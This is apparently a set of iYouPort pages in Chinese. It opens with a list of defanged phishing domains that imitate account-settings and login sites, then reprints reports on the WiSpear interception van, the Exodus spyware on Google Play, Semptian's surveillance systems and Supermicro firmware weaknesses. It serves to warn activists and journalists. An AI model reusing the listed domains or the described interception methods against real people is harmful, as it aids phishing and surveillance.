myaccounts-secures[.]com

myaccounts-settings[.]com

myaccounts-settinq[.]com

myaccounts-settinqes[.]com

myaccounts-transfer[.]com

myaccount-inbox[.]pro

myaccount-logins[.]com

myaccount-redirects[.]com

myaccount-setting[.]com

myaccount-settinges[.]com

myaccount-settings[.]ml

myaccount-setup[.]com

myaccount-setup1[.]com

myaccount-setups[.]com

myaccount-transfer[.]com

myaccount[.]verification-approve[.]com

myaccount[.]verification-approves[.]com

myaccuont-settings[.]com

mysecures-accounts[.]com

mysecure-account[.]com

mysecure-accounts[.]com

newinbox-accounts[.]pro

newinbox01-accounts[.]pro

newinbox01-mails[.]pro

newinbox02-accounts[.]pro

newinbox03-accounts[.]pro

newinbox05-accounts[.]pro

newinbox06-accounts[.]pro

newinbox07-accounts[.]pro

newinbox08-accounts[.]pro

newinbox-account[.]info

newinbox-accounts[.]pro

noreply[.]ac

noreply-accounts[.]site

noreply-mailer[.]pro

noreply-mailers[.]com

noreply-mailers[.]pro

noreply-myaccount[.]com

privacy-myaccount[.]com

privcay-setting[.]com

profile-settings[.]com

recovery-settings[.]info

redirections-login[.]com

redirections-login[.]info

redirection-login[.]com

redirection-logins[.]com

redirects-myaccount[.]com

royalk-uae[.]com

securesmails-alerts[.]pro

secures-applications[.]com

secures-browser[.]com

secures-inbox[.]com

secures-inbox[.]info

secures-settinqes[.]com

secures-transfer[.]com

secures-transfers[.]com

secure-browsre[.]com

secure-settinqes[.]com

security-settinges[.]com

securtiy-settings[.]com

services-securtiy[.]com

settings-secuity[.]com

setting-privcay[.]com

settinqs-myaccount[.]com

settinq-myaccounts[.]com

thx-me[.]website

transfer-click[.]com

transfer-clicks[.]com

truecaller[.]services

urllink[.]xyz

verifications-approve[.]com

verification-approve[.]com

verification-approves[.]com

xn—mxamya0a[.]ccn

yahoo[.]llc

还是那句话，我们强烈建议活动家、异议人士和记者等风险较大群体与技术社区合作，以便在最新威胁出现时做到即时响应和有效协助。

抵御社交工程攻击，参见 IYP 类目“社交工程”中给出的方法。○

原文

⚠“零日漏洞”针对全民间谍行为更加肆无忌惮：新型监视车出台，五百米开往能入侵任何设备 - iYouPort

政府的间谍行为

世界上已经有一些很先进的间谍机构具备开发高度侵入性监视技术的能力，这些监视机构已经在全球范围内建立了数百家这类监视技术公司，这些公司主要由前间谍组成。监视更多针对的是人权活动家和记者们，而不是抓捕罪犯。这并不奇怪 – 专制主义正在世界各地崛起，监管法律普遍不足。法治本身在全球面临挑战。

「图」

「图」

一家总部位于塞浦路斯的监控公司称已经建造了一辆满载新一代探听套件的汽车，它可以在距离 **500** 米远的地方感染任何 **Apple** 和 **Google** 手机。

WiSpear 由以色列全球监控市场的长期玩家之一 Tal Dilian 创立，目前售价在 350 万美元至 500 万美元之间，并声称已经获得了很多买家的兴趣。隐私社区对此高度关注。

SpearHead 360 汽车使用 24 根天线以接触目标设备。一旦选定了目标手机，WiSpear 汽车有四种不同的方式来强制手机连接到基于 Wi-Fi 的拦截器，从而可以在设备上开始窥探（使用中间人攻击）。根据 Dilian 的说法，针对四种主流操作系统该监视工具有四种不同的恶意软件，针对包括 **Apple** 的 **iOS** 或 **Google** 的 **Android** 设备。

该监视技术还声称可以访问一系列未被公开的 Android 和 iOS 漏洞（称为零日漏洞，这里的链接是更多解释），这是任何成功的骇客入侵谷歌和苹果操作系统所必需的。

他们还说，这种汽车可以同时用来破解电脑; 不论坐在咖啡店里上网的目标人使用的是 **Mac**，**Android** 还是 **Windows**，都可以被立即感染。

WiSpear 本月在 ISS World 和 Eurosatory conferences 会议上展示了这辆用于监控的面包车。正如下面的视频所示，警方可以大模大样地带无人机和背包进入车内，进行更多的移动监控。根据 Dilian 的说法，这种装满监视工具的背包单价可能高达 120 万美元。

谈到有效距离时，Dilian 说，虽然他的测试队伍已经成功地进行了 **1000** 米开外实施的攻击，但他告诉客户在真实世界中不要超过 500 米。至于该公司开发的 Wi-Fi 攻击，Dilian 表示，四种可用的恶意软件中的两种使用中间人攻击技术，这些技术从未公开披露，并利用 Wi-Fi 协议中的弱点，从而能使攻击特别有力。

由于该技术本月才刚发布，迄今为止尚未获取 SpearHead 360 订单的任何消息。但是，在与当前客户交谈后，Dilian 认为，今年内至少能卖出 2 到 4 台。

对美国人来说太贵了？

也许并不是每个政府都相信自己需要这样一个猖獗的间谍骑士。安全公司 Red Mesa 的创始人 Drew Porter 说，他不会向执法部门的客户推荐这种车子，部分原因是成本。“只有少数几个警察部门或许可以考虑在美国买这些东西，它有点贵……这对于有关隐私问题或许是件好事，”他告诉 Forbes。

Porter 认为这种车子对于真正的秘密监视来说太显眼了。他解释说：“这并不是对他们的产品的抨击，我相信这种产品对于预期的目标来说非常有效，只是对于我的偏好来说，设备安装的太大（比如面包车的大小）我的许多客户都会有相同的感觉。”

他还说他觉得不能推荐利用零日漏洞做攻击的产品。“我很难说出它的真实价值，”他补充道。

这种说法实在太装了。**Wikileaks** 两年前就发布过 **CIA** 广泛使用的黑客工具的细节 —— 针对**Windows**，**Android**，**iOS**，**OSX**和 **Linux** 计算机系统以及联网路由器的恶意软件。利用的就是零日漏洞。

揭秘资料显示，中央情报局中一个专门单位的工作就是瞄准 iPhone 和 iPad，允许该机构看到目标对象的地理位置、激活他们的设备的摄

像头和麦克风，并阅读文字通信。该部门还利用 GCHQ，NSA 和 FBI 获得的进一步 iOS “零日漏洞”。

那是日期为 2014 年 6 月的文件，说明情报机构至少在四年前已经开始利用零日漏洞做攻击了。

Forbes 的报道说，即使 WiSpear 也不能完全控制面包车监视系统使用的所有代码。间谍软件类型（或 Dilian 称之为“Trojans”的东西）来自四个不同的供应商。 Dilian 没有说出这些合作伙伴的名字，但表示任何恶意软件制造商都可以加入，包括 **NSO** 集团。

众所周知，NSO 集团的工具已经被发现被政府利用来打压异议人士。近五年内全球曝光的所有大规模监视中两个国家政府实施的监视入侵手段格外突出，一个就是美国，另一个是墨西哥。墨西哥政府使用的入侵异议人士电子设备的技术就是 NSO 集团 提供的 Pegasus 间谍软件。

注意：报道说 **Dilian** 已经与 **NSO** 建立了合作关系，他以 **1.3** 亿美元的价格将他的旧智能手机监控公司 **Circles** 卖给了购买 **NSO** 的同一家私募股权公司 **Francisco Partners**。他们现在已经合并组建了 Q Cyber Technologies，尽管最近有报道称 NSO 集团正在与监控巨头 Verint 就价值 10 亿美元的交易进行谈判。

隐私焦虑

无论 SpearHead 360 的局限性如何，隐私权活动家都对这种强大的监视技术的潜力格外担忧。

隐私国际组织国家监督计划负责人 Edin Omanovic 说，虽然监视供应商经常夸大他们有什么功能，但这种使用零日漏洞的技术是非常值得警惕的。这种漏洞被发现的是为了立即提供了供应商，以进行修补，保护用户的安全，然而它现在居然回避供应商，直接卖给了监视技术公司，用来破坏人们的隐私。

“骇客行为的监视技术利用数百万人可能使用的系统和服务的弱点。在促进网络安全成为全球优先考虑事项的时代里，政府不能允许这种行为发生“，Omanovic说。“关心技术漏洞和网络攻击的政府当局应该尽一切努力使设备和网络更安全，而不是更危险。”

“世界上已经有一些很先进的间谍机构具备开发高度侵入性监视技术的能力，这些监视机构已经在全球范围内建立了数百家这类监视技术

公司，这些公司主要由前间谍组成。显然这对他们自己有好处，因为他们可以赚钱，但是在全球范围内我们已经看到，监视更多针对的是人权活动家和记者们，而不是抓捕罪犯”。

“这并不奇怪 – 专制主义正在世界各地崛起，监管法律普遍不足。法治本身在全球面临挑战。”〇

原文

Googleplay 中的政府级恶意软件 - iYouPort

政府的间谍行为

谷歌商店里如何托管了政府级恶意软件？这是怎么回事？

「图」

「图」

Motherboard 已经了解到，为一家监控公司工作的黑客已经感染了数百人的设备，他们在官方 Google Play 商店中托管了多个恶意的 Android 应用程序。

过去，政府黑客和犯罪组织工作人员都曾经将恶意应用程序上传到了 Play 商店。这个新案例再次强调了谷歌过滤器的缺陷，旨在防止恶意软件进入 **Play** 商店，看起来它并没起作用。在这种情况下，谷歌在大约两年的时间里没有注意到超过20个恶意应用程序。

主板还了解到 Google Play 商店中出现了一种新的 Android 恶意软件，这种恶意软件由一家销售监控摄像头的公司生产，他们的产品提供给意大利政府，但直到现在才被发现。专家告诉主板，由于间谍软件似乎有缺陷且目标不明确，该行动可能使无辜的受害者陷入困境。法律和执法专家告诉 Motherboard，间谍软件可能是非法的。

间谍软件应用程序是由安全无国界组织的研究人员联合调查发现和研究的，这是一个非营利组织，经常调查对持不同政见者和人权维护者的威胁。

“我们发现以前未知的间谍软件应用程序在两年多的时间内多次成功上传到了 **Google Play** 商店。研究人员写道，这些应用程序将在 Play 商店中保留数月，并在被删除后会重新上传。

安全公司 ESET 的研究员 Lukas Stefanko 专门研究 Android 恶意软件，但没有参与安全无国界研究，他告诉 Motherboard，恶意软件继续超越 Google Play 商店的过滤器，这令人震惊，但并不奇怪。

“2018年甚至2019年的恶意软件已成功渗透到 Google Play 的安全机制中。一些改进是必要的，“Stefanko 说，“谷歌不是一家安全公司，也许他们应该更多地关注这一点。”

在明显试图欺骗目标安装这些间谍软件的过程中，这些恶意应用程序被设计成看起来像无害的，以接收当地意大利手机提供商的促销和营销提供。

今年早些时候，研究人员向谷歌提醒应用程序的存在，然后将其删除。谷歌告诉研究人员和主板，它在过去两年中总共发现了25种不同版本的间谍软件，可追溯到2016年。谷歌拒绝分享受害者的确切人数，但表示低于1,000人，并且所有受害者都在意大利。该公司不会提供有关目标的更多信息。

研究人员将应用程序所连接的命令和控制服务器的名称称为恶意软件 Exodus。熟悉该恶意软件开发的人向 Motherboard 确认这是它的内部名称。

Exodus 被编程为分两个阶段行动。在第一阶段，间谍软件自行安装并仅检查电话号码及其 IMEI（设备的唯一识别号码）—可能是为了检查目标电话是否打算作为攻击目标。出于这个明显的目的，恶意软件具有一个名为“CheckValidTarget”的功能。

但事实上，根据研究人员的说法，该间谍软件似乎没有得到适当的检查。这很重要，因为目前有一些法律允许使用针对性较弱的恶意软件—— 例如，通过法院命令，执法部门可以合法地攻击许多国家/地区的设备。

测试中研究人员发现，在运行检查后，恶意软件下载了一个 ZIP 文件来安装实际的恶意软件，这会侵入手机并从中窃取数据。

“这表明指挥与控制的运营商没有对目标进行适当的验证，”安全无国界组织在报告中总结道。“此外，在几天的时间里，受感染的测试设备从未被运营商远程消毒过。”

此时，恶意软件可以访问受感染手机上的大多数敏感数据，例如手机周围的录音、电话、浏览历史记录、日历信息、地理定位、**Facebook Messenger** 日志、**WhatsApp** 聊天和短信，据研究人员称，其他数据也包括在内。

间谍软件还会在设备上打开一个端口和一个 **shell**，这意味着它允许

操作员向受感染的手机发送命令。根据研究人员的说法，这个 **shell** 没有被编程为使用加密，并且该端口对与目标相同的 **Wi-Fi** 网络上的任何人开放。据研究人员称，这意味着附近的任何人都可以攻击受感染的设备。

由位于纽约的网络安全公司 Trail of Bits 进行的第二次独立分析，调查了主板揭示的恶意软件，确认恶意软件样本都连接到了一家公司的服务器，安全无国界组织识别的IP地址都是有联系的，并且恶意软件使目标设备更容易受到黑客攻击。

安全无国界组织在其调查中收集的所有证据表明，该恶意软件是由位于卡拉布里亚地区南部城市卡坦扎罗的意大利公司 eSurv 开发的。

关于恶意软件的作者来自意大利的第一个提示是两个字符串：“mundizza”和“RINO GATTUSO。”Mundizza 是卡拉布里亚南部地区的一个方言词，粗略的翻译是垃圾。 Rino Gattuso 是卡拉布里亚著名退役意大利足球运动员的名字。

然而，真正的实证是在 Play 商店中找到的几个应用程序中使用的命令和控制服务器，用于将数据发送回恶意软件操作员。

据研究人员称，该服务器与其他属于 eSurv 监控摄像头的服务器共享 TLS 网络加密证书，这是该公司的主要公共业务。此外，研究人员确定的这些服务器中的一些显示 eSurv 的徽标作为与服务器地址相关联的图标，您可以在浏览器的选项卡中看到该图标，也称为 favicon。

据研究人员称，其他间谍软件样本与属于 eSurv 的服务器进行通信。谷歌也证实这些服务器属于 eSurv。审查技术报告的 Bit of Bits 研究员同样证实，它与 eSurv 有关。

「图」

「图」

最后，eSurv 员工通过他的 LinkedIn 页面公开发布的简历中解释说，作为他在公司工作的一部分，他开发了“一个’代理’应用程序，用于从 Android 设备收集数据并将其发送到C＆C服务器”—— 这就是 Android 间谍软件技术。

主板与开发人员联系，但开发人员拒绝发表评论，认为答案是“机密信息”。

主板通过电子邮件多次联系 eSurv。她说，最初，该公司的一名员工声称对主板的调查结果感到震惊，因为 eSurv 只出售视频监控。在主板打电话几个小时后，该公司开始将其网站停用了几个星期。主板要求跟进后该公司拒绝发表评论。

尽管安全无国界组织无法确认恶意应用是否是为政府客户开发的，但 **eSurv** 似乎与意大利执法机构保持着持续的关系。

根据意大利政府支出透明度法案在线发布的一份文件，eSurv 赢得了意大利政府国家警察招标，以发展“被动和主动拦截系统”。该文件显示，eSurv 于2017年11月6日收到 307,439.90 欧元的付款。

主板提交了信息自由请求，以获取有关招标、参与公司名单、公司发送的技术报价、以及 eSurv 发出的发票的信息。但是，这一请求遭到拒绝。反对该请求的州警察机构反毒品警察局表示，由于监控系统是通过“特殊安全措施”获得的，因此无法回复这些文件。

在过去的几个月里，一些了解意大利间谍软件市场的消息人士告诉 Motherboard，卡拉布里亚的一家新公司正在与执法部门和政府机构签订合同，专门开发监控软件。其中一些消息来源特别指出 eSurv 是一家风靡当地市场的新公司。

最后，一位接近 eSurv 的消息人士表示，该公司向意大利警方出售恶意软件，后者要求保持匿名，因为他无权向新闻界发表讲话。“他们在 Play 商店发布[间谍软件]，然后诱使目标人下载并打开它，”消息人士在网上聊天时说。

一般来说，在欧洲大多数国家以及美国，使用带有权证或法官授权的间谍软件是合法的。专家告诉 Motherboard，但在这种情况下，eSurv 的间谍软件可能无法依法运作。

“我不认为有理由相信这种间谍软件是合法的，”专门从事刑法和监视的意大利律师 Giuseppe Vaciago 在审查了无国界安全组织的报告后告诉主板。

Vaciago 解释说，根据意大利法律间谍软件不应该在没有首先证实目标是合法的情况下安装在任何目标上，而 Exodus 不能正确做到这一点。

此外，Vaciago 解释说，意大利法律有效地将间谍软件与物理监视设备等同，例如旧式隐藏式麦克风和摄像头，限制其用于捕获音频和视

频。

“另一方面，该软件能够做到并且有效地完成了比法律规定的更具侵入性的活动，”Vaciago 在一封电子邮件中告诉 Motherboard。

据一位在调查期间使用间谍软件的警察说，恶意软件使设备容易受到其他黑客攻击的事实可能是 Exodus 中最糟糕的因素，并且他要求保持匿名，因为他不被允许向媒体发表讲话。

“从法律监督的角度来看，这简直是疯了，即使在确定非法之前，开放安全漏洞并将其留给任何人都是疯狂的而毫无意义的。”

2017年底，意大利引入了一项法律，规范间谍软件在执法活动和调查中的使用—— 法律仅规定禁止使用间谍软件远程录制音频，而忽略了监视软件可能具有的所有其他功能，例如拦截短信或截取屏幕截图。2018年5月，司法部公布了执法机构在开发和使用间谍软件时必须遵守的技术要求。

在意大利数据保护局去年4月发表的意见中，当局批评了描述拦截系统组件时过于模糊的要求，并强调当局需要确保将间谍软件安装在目标上不会降低受感染设备的整体安全性。

“这是为了防止设备受到第三方的侵害，避免对其中包含的个人数据以及调查活动的保护产生负面影响，”当局写道。事实上，政府可以强迫意大利电信公司发送短信，以便在嫌疑人的设备上注入恶意软件。

在2017年3月由议会安全委员会（COPASIR）举行的意大利手机供应商 Wind Tre Spa 的公司安全治理听证会上发现了这项活动的详情。这是一个监督情报部门活动的委员会。

根据总结听证会的文件，这些操作“主要包括扩展带宽和发送消息以请求某些维护活动”，该文件写道。这些活动可能包括在电信运营商所谓的“强制性司法服务”中，司法部在具体价格表中详细列出了这些服务：从窃听的15欧元到“协助和可行性研究”的110欧元不等。

在出版时，意大利国家警察没有回应多次要求对招标技术发表评论的请求，也没有回答有关使用这种间谍软件的问题。对两个意大利检察官办公室的问题也没有得到答复。

接近 eSurv 的消息人士证实，有时，应用程序最终出现在了非目标人的手机上，因为“不经意的、在不知情的情况下下载了该应用程序并

感染了自己。” 然而，该公司没有做任何事情来阻止这种情况的发生，而是将受害者当作“豚鼠”。

Researchers Find Google Play Store Apps Were Actually Government Malware. Security researchers have found a new kind of government malware that was hiding in plain sight within apps on Android’s Play Store. And they appear to have uncovered a case of lawful intercept gone wrong.

原文

IBM和谷歌如何通过中国协助独裁政权的间谍行为？ - iyouport

作恶者：谁在帮中国关于高堡奇人协助暴政的家伙们政府的间谍行为

【2019年7月24日存档】这种能实现惊人规模监视范围的系统名为 Aegis（宙斯盾），古希腊神话中的神盾，是赫淮斯托斯用阿玛尔忒娅（Αμαλθεία，一头神话中的母羊）的毛皮打造的。它的四个角上分别是恐惧、战斗、凶暴、追踪；中央是美杜莎的头，使任何看到这面盾的人都会变成化石 ……

这个东西只有一个小行李箱的大小，可以谨慎地放在汽车后备箱里。⚠当该设备通电时，它就开始秘密监控附近的数百部手机，记录人们的所有私人谈话并吸取人们的所有短信。

该设备是由一家名为 **Semptian** 的中国监视技术公司生产的几种间谍工具之一，该公司已向中东和北非的威权政府提供了这种监视设备：据两位了解公司运营情况的消息人士透露。

⚠自2015年以来，**Semptian** 一直在美国技术的帮助之下建立更强大的大规模监控和审查系统，并以一家名为 iNext 的前线公司的名义向政府出售这些监视技术。

相关内容详见《美国科技巨头如何帮助中国建立大规模监视系统》

这家中国监视巨头 Semptian 正在与美国寡头 IBM 和领先的美国芯片制造商 Xilinx 合作，推进一系列微处理器，使计算机能够更快地分析大量数据 —— 实现快速的大规模监控。

这家中国监视技术公司是一家名为 OpenPower 基金会的美国组织的成员，该组织由谷歌和IBM高管创立。

Semptian、Google 和 Xilinx 都没有回应置评请求。

Semptian 的监视设备正在帮助中国执政的共产党政府秘密监控整个东亚国家多达**2**亿人的互联网和手机活动，每天筛选大量的私人数据。

⚠但该公司的业务范围远远超出中国。近年来，它一直在全球范围内推广其技术。

在收到关于 Semptian 在大规模监控中的角色的机密消息来源的提示后，一名记者使用假名与该公司联系并冒充潜在客户。

在电子邮件中，⚠一位 Semptian 代表证实该公司已向中东和北非的间谍机构提供了监控工具 —— 并表示已在一个拒绝被透露名字的国家安装了大规模的监控系统，创建了笼罩其整个人口的数字圆形监狱。

这个名为 Aegis 的大规模监视系统旨在监控所有人的电话和互联网的使用。

根据该公司提供的文件，该监视系统可以“存储和分析无限数据”、并“显示每个人的联系”。

“我们已经在其他国家安装了 Aegis 监视系统，覆盖了整个国家，” Semptian 的 Zhu Wenying 在4月的一封电子邮件中说。

他拒绝提供已安装该监视设备的国家的名字，并称其“高度敏感，我们受到非常严格的[保密协议]的约束”。

⚠西方间谍机构和警察多年来一直在使用类似的监视设备。

然而，部分要归功于像 Semptian 这样的公司，该技术越来越多地在专制国家被使用 —— 在这些国家里，持不同政见者被监禁、被折磨，并在某些情况下被处决。

“我们已经看到了一些普遍的和令人震惊的例子，说明世界各国政府如何通过强大的监视技术瞄准活动家、记者和反对派成员”，总部位于伦敦的人权组织 Privacy International 的执行董事 Gus Hosein 说。

“他们在网络、服务、城市和国家一级销售整套监控技术。⚠中国公司似乎是这个竞争性影响和数据开发市场的最新进入者”。

延伸：

- 《闷声发大财的跨国老大哥》该公司不仅是监视美国人的主力，而且为中国当局提供大规模监视社会的必要技术能力，它是谁？
- 《是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》在技术进步的推动下，加强监视既得益于全球威权主义的增强，又有助于增强其权威主义，并对民主、权利和法治造成严重攻击。谁正在这样做？是如何做的？
- 《浮空器、生物识别、芯片、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》
- 《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》军火工业在国际监视技术贸易中正发挥着日益增强的作用，从发达国家向流氓政权输出复杂的监视
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？#OSINT》本文演示一个关于监视技术出口调查的开源情报分析，并提供一些相应的资源。希望更多公民社会组织加入到揭露工作中来
- …… 更多报告详见《监视与操纵》

当被问及中东和北非是否有任何国家拒绝这项交易时，Zhu 写道，伊朗和叙利亚是唯一两个。

该公司显然愿意与该地区的其他国家合作 —— 如沙特阿拉伯、巴林、摩洛哥、阿联酋、阿曼、苏丹和埃及 —— 这些政府经常滥用人权、打击言论自由、暴力镇压和平抗议。

文件显示，Semptian 目前正在为政府提供购买四种不同监视系统的机会：Aegis、Owlet、HawkEye 和 Falcon。

正如上篇文章介绍过的那样，⚠Semptian 的旗舰系统 Aegis 旨在安装在手机和互联网网络中，用于秘密收集人们的电子邮件记录、电话、短信、手机位置和网络浏览历史记录。

⚠大多数国家的政府都有权*合法地强迫*电话和互联网提供商安装此类监视设备。

Semptian 声称 Aegis 提供“全面了解虚拟世界”的能力，使政府间谍能够实时跟踪监视该国所有人。

它还可以“阻止[访问]互联网上的某些信息” —— 审查政府不希望其公民看到的内容。

Owlet 和 Falcon 设备规模较小；就如文章开头所描述，它们是便携式的，只专注于监视手机通信。

它们的大小与行李箱相同，例如，可以通过放在汽车里或俯瞰城市广场的公寓，进行监视操作。

当 Owlet 设备被激活时，它就开始在周围吸取手机通话和短信。Semptian 的文件指出，Owlet 有能力同时监控**200**部不同的手机。

“大规模拦截系统用于拦截覆盖范围内的所有语音和短信，”一份描述 Owlet 的文件说。

该文件补充说，有一个“短信关键字过滤”功能，当局监视者可以根据特定的短语或单词来定位他们想要的任何人。

与 Owlet 不同，Falcon 系统无法窃听电话或短信。

相反，它被设计用于跟踪目标手机在近1英里半径范围内的位置，并可将其精确定位在5米范围内，⚠与美国执法部门使用黄貂鱼的设备类似。

延伸：《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》

根据 Semptian 的文件，只要 **Falcon** 接通电源，它就可以 “强迫所有附近的移动电话和其他蜂窝数据设备连接到它”，并可以帮助政府当局 “找出任何目标 [隐藏] 的确切住所”。

Falcon 还配备了一个只有口袋大小的设备，政府间谍可以直接把它放在口袋里徒步追踪所有人，定位在1米以内。

⚠这个必需强调一下了。对于反监视，我们一直在强调小心异常缓慢行驶的汽车；现在还要加上：小心那些在一米范围内跟踪你的行人。

⚠尤其是在大型群体事件中、参与敏感聚会途中、前往敏感地点途中，等等。

⚠在这里看到：

- 如何知道政府正在监视你？《暗中监视的迹象》
- 《如何检测您是否正在受到监视？—— 监视检测和特殊保护行动》

- 《指南：当您准备参加抗议活动...》

Semptian 向政府出售的第四个系统 HawkEye 是一个基于摄像头的便携式平台，是的，⚠也是便携式，还采用了面部识别技术。

该公司的文件称，它被设计用于放置在任何位置，以创建“临时监视场景”。

HawkEye 的功能是：⚠在人们走过摄像机前时对他们进行扫描，并将他们的脸部图像实时地与“数百万数据的数据库”中包含的照片进行比较，如果识别出特定的嫌疑人，则立刻触发警报。

⚠再次重申：这东西是便携式的，不是一个大电线杆子。

Semptian 员工 Zhu 先生写道，其中一些监视工具已经提供给中东和北非地区的当局，即 MENA。

“Aegis、Falcon 和 HawkEye 是执法机构的新解决方案，”Zhu 写道，“所有这三种产品都有成功的故事，有些在中东和北非地区。”

政策智囊团新美国安全中心的兼职高级研究员 Elsa Kania 表示，Semptian 的监视技术出口似乎符合更广泛的趋势 —— 中国企业出口监控和审查技术以寻求新的出口市场、同时也在意识形态上推动中国的所谓的软实力。

Kania 说：“中国共产党力寻求支持并支持与其本身并不相同的政权；我们看到监视技术的快速传播，在没有制衡机制和开放公民社会的政权中问题更加严重”。〇

MIDDLE EAST DICTATORS BUY SPY TECH FROM COMPANY LINKED TO IBM AND GOOGLE

原文

Supermicro 电路板本身就 Bug 缠身，那么为什么(中国)攻击者还需要植入物呢？ - iyouport

地缘政治政府的间谍行为

【2018年9月1日存档】“有很多方法可以达成一模一样的目的。从能力，成本，复杂性，可靠性，可再生性的角度来看，植入物可以说根本没必要“

到目前为止所有人都知道了彭博社报道的中国微芯片攻击事件，在过去一周多的时间里它一直是头版。我们做了全文翻译，并且使用单独文章分析了这件事的可能性，也介绍了可验证这种攻击的方法。如果您还没有读过，可以在下面链接中找到：

- 《 据报中国利用微型芯片渗透美国公司，他们是怎么做到的？ 》
- 《 这个技术将可以快速地发现秘密的“中国微芯片” 》

实现此类攻击所需的复杂性、和植入的精确度几乎是令人叹为观止，特别是在报告中所描述的攻击规模的基础上。

首先，中国需要相当大的物流能力，以确保被改装的设备能够准确运送到特定的目标，而不会在中途失去控制。彭博社通过将其比喻成“在上海把棍子扔进水里并确保它在西雅图上岸” 来形容这一壮举，承认了该行为成功的技巧和纯粹的运气；并引用硬件黑客专家 Joe Grand 将其描述为“见证一只独角兽跳过彩虹。“

根据彭博社的说法，这些袭击涉及有人冒充 Supermicro 或中国政府的代表，接近至少四家建造 Supermicro 主板的分包商工厂的经理。代表们首先会提供贿赂，以换取管理人员更改官方设计。如果贿赂行不通，代表们会要求对管理人员进行检查，威胁关闭工厂（这个过程透露出的逻辑的确很中国。但几乎每一个和中国做过生意的外国人都了解这个逻辑）。最终，彭博社表示，工厂管理人员同意修改电路板设计，以添加肉眼几乎看不见的恶意硬件。

但是这些文章没有解释攻击者如何能确保被变更的设备能够在远离国家的情况下运送到达目标，而不是被送去其他毫无价值的公司。民族国家级的骇客几乎总是尽力将他们定制的间谍软件分配给特定选择的高价值目标，以免间谍工具的广泛传播，否则将会很容易被发现，针对伊朗核计划的 Stuxnet 蠕虫病毒就是由于其制造者失去了对它的控制才被公开的。

这种供应链攻击所需的其他巨大努力还包括大量的工程和逆向工程。根据 Bloomberg 的描述，这些攻击涉及设计至少两个定制植入物（一个不大于一粒米），修改主板以使用定制植入物，并确保即使管理员安装新固件也不会有妨碍。

虽然对中国来说理论上有可能做到，但是受访的三位硬件安全专家表示，工厂发生的硬件植入物攻击对其攻击目的性来说是不必要的、复杂的和繁琐的，特别是在彭博社所描述的规模上，涉及近30个目标。

使用骇客的思考方式来看，“攻击者会倾向于选择最顺手的途径，这样可以让他们在最长的时间内获得最佳的通道，”专门研究硬件黑客的研究员、英国 44CON 会议联合创始人史蒂夫罗德说，“硬件攻击可以提供很长的生命周期，但是在实施成本方面却非常高。”

并且，一旦被发现，这种攻击就会被销毁，因为人们肯定会替换它们。此外，关于无论未来（合法）系统固件升级如何都无碍这个描述，这样的后门必须非常仔细地设计才能工作，因为植入物可能会对系统造成损害，从而导致能力丧失和可能被发现。

尤其是，能达到同样的攻击目的的方法中显然还有更便宜更简单的。

更简单的方法

Lord 是 2013 年和 2014 年在 Supermicro 主板固件（ PDF ）中发现各种严重漏洞和弱点的几位研究人员之一。这一时间框架与报道中所说的 2014 年至 2015 年的硬件攻击密切吻合。

作为 **Supermicro** 的弱点之一，固件更新过程没有使用数字签名来确保只安装了授权版本；如果没有提供这样的基本安全措施，攻击者就可以轻松地在 **Supermicro** 主板上安装恶意固件，这些固件可以与 **Bloomberg** 所说的硬件植入物具有完全相同的攻击能力。

同样在 2013 年，一个学术研究团队发表了对 Supermicro 安全性（ PDF ）的严厉批评。研究人员在 Supermicro 主板上使用的 BMC

固件中发现的“教科书级的漏洞”，暗示了其对客户安全性的无能或冷漠。“ 关键缺陷包括主板 **Web** 界面中的缓冲区溢出，使攻击者可以不受限制地访问服务器和以纯文本格式存储管理员密码的二进制文件。

HD Moore 在 2013 年担任安全公司 Rapid7 的首席研究官和渗透测试人员以及黑客使用的 Metasploit 项目的首席架构师，他们也是研究人员之一，他们 报告了大量的漏洞 。这包括堆栈缓冲区溢出、明文密码泄露错误，以及攻击者可以绕过身份验证要求以控制 BMC 的方式。Moore 现在是 Atredis Partners 的研发副总裁。

Moore 本周表示，这些缺陷中的任何一个都可能被利用来在暴露的 **Supermicro** 主板上安装恶意的定制固件。这里有介绍这些漏洞。

“几个月前我和 Jordan 谈过，” Moore 说，他指的是两位记者之一的 Jordan Robertson，他的名字出现在彭博社的文章中，“我们谈论了很多事，但我推翻了使用硬件后门 Supermicro BMC 是切实可行的想法，因为在软件中这样做仍然是便捷的。即使只对闪存固件进行不怎么微妙的更改就足以实现同样的攻击，添加芯片真的很蠢。“

多年来，Supermicro 发布了修补 2013 年报告的一些漏洞的更新，但在一年之后，研究人员发布了一份咨询报告，称 近 32,000 台服务器在继续暴露密码 ，这些机器上的二进制文件很容易下载。更值得关注的是， 来自安全公司 Eclypsium 的这篇文章 显示，截至上个月，**Supermicro** 主板的加密签名固件更新仍未公开可用。这意味着，在过去的五年中，对于具有物理访问权限的任何人来说，要想实现彭博社所报道的攻击效果都不需要植入物。

并且，通过利用这些或类似的弱点而实现的软件修改可能比彭博社报告的硬件植入更难以被检测到。Moore 说，识别带有恶意 BMC 固件的 Supermicro 板的唯一方法是经历耗时的物理转储过程，将其与已知的良好版本进行比较，并检查启动固件的设置选项。

他说，改进的 Supermicro 固件可以假装接受固件更新，提取版本号，并在下次启动时错误地显示它。如果通过正常的 Supermicro 接口请求转储，则恶意图像还可以通过响应未修改的图像来避免被检测到。

根据 Edward Snowden 泄露的文件，定制固件攻击的使用方法是 NSA 在将思科网络设备运送到其感兴趣的目标之前对其进行植入的。而不是像彭博社描述的这样，直接在工厂进行。

除此之外，后门固件可能更容易进入供应链。这些操作可能发生在工厂，无论是通过破坏工厂的计算机还是获得一个或多个内部员工的合作，或者通过在运输过程中拦截电路板，就像美国国家安全局对思科路由器所做的那样。

但无论哪种方式，攻击者都不需要工厂管理人员的帮助，如果在运输过程中更改了固件，那么可以更容易地确保修改后的硬件能准确地送达预定的目标，而不是冒着对其他公司造成附带损害的风险。

当然，使用固件支持主板的更简单路径决不会反驳彭博对硬件植入的描述。攻击者可能正在测试一种新的方法，并希望向全世界展示他们的能力；也或许他们有其他理由选择更昂贵和困难的后门方法。但这些可能性似乎遥不可及。

“我相信[彭博社]描述的后门在技术上是可行的。但我不认为这是合理的，“彭博社引用的安全专家兼硬件安全资源创始人 Joe FitzPatrick 说。“有很多方法可以达成一模一样的目的。从能力，成本，复杂性，可靠性，可再生性的角度来看，植入物可以说根本没必要。”○

原文

一家沙特网络安全公司试图从我这里购买零日漏洞 - iYouPort

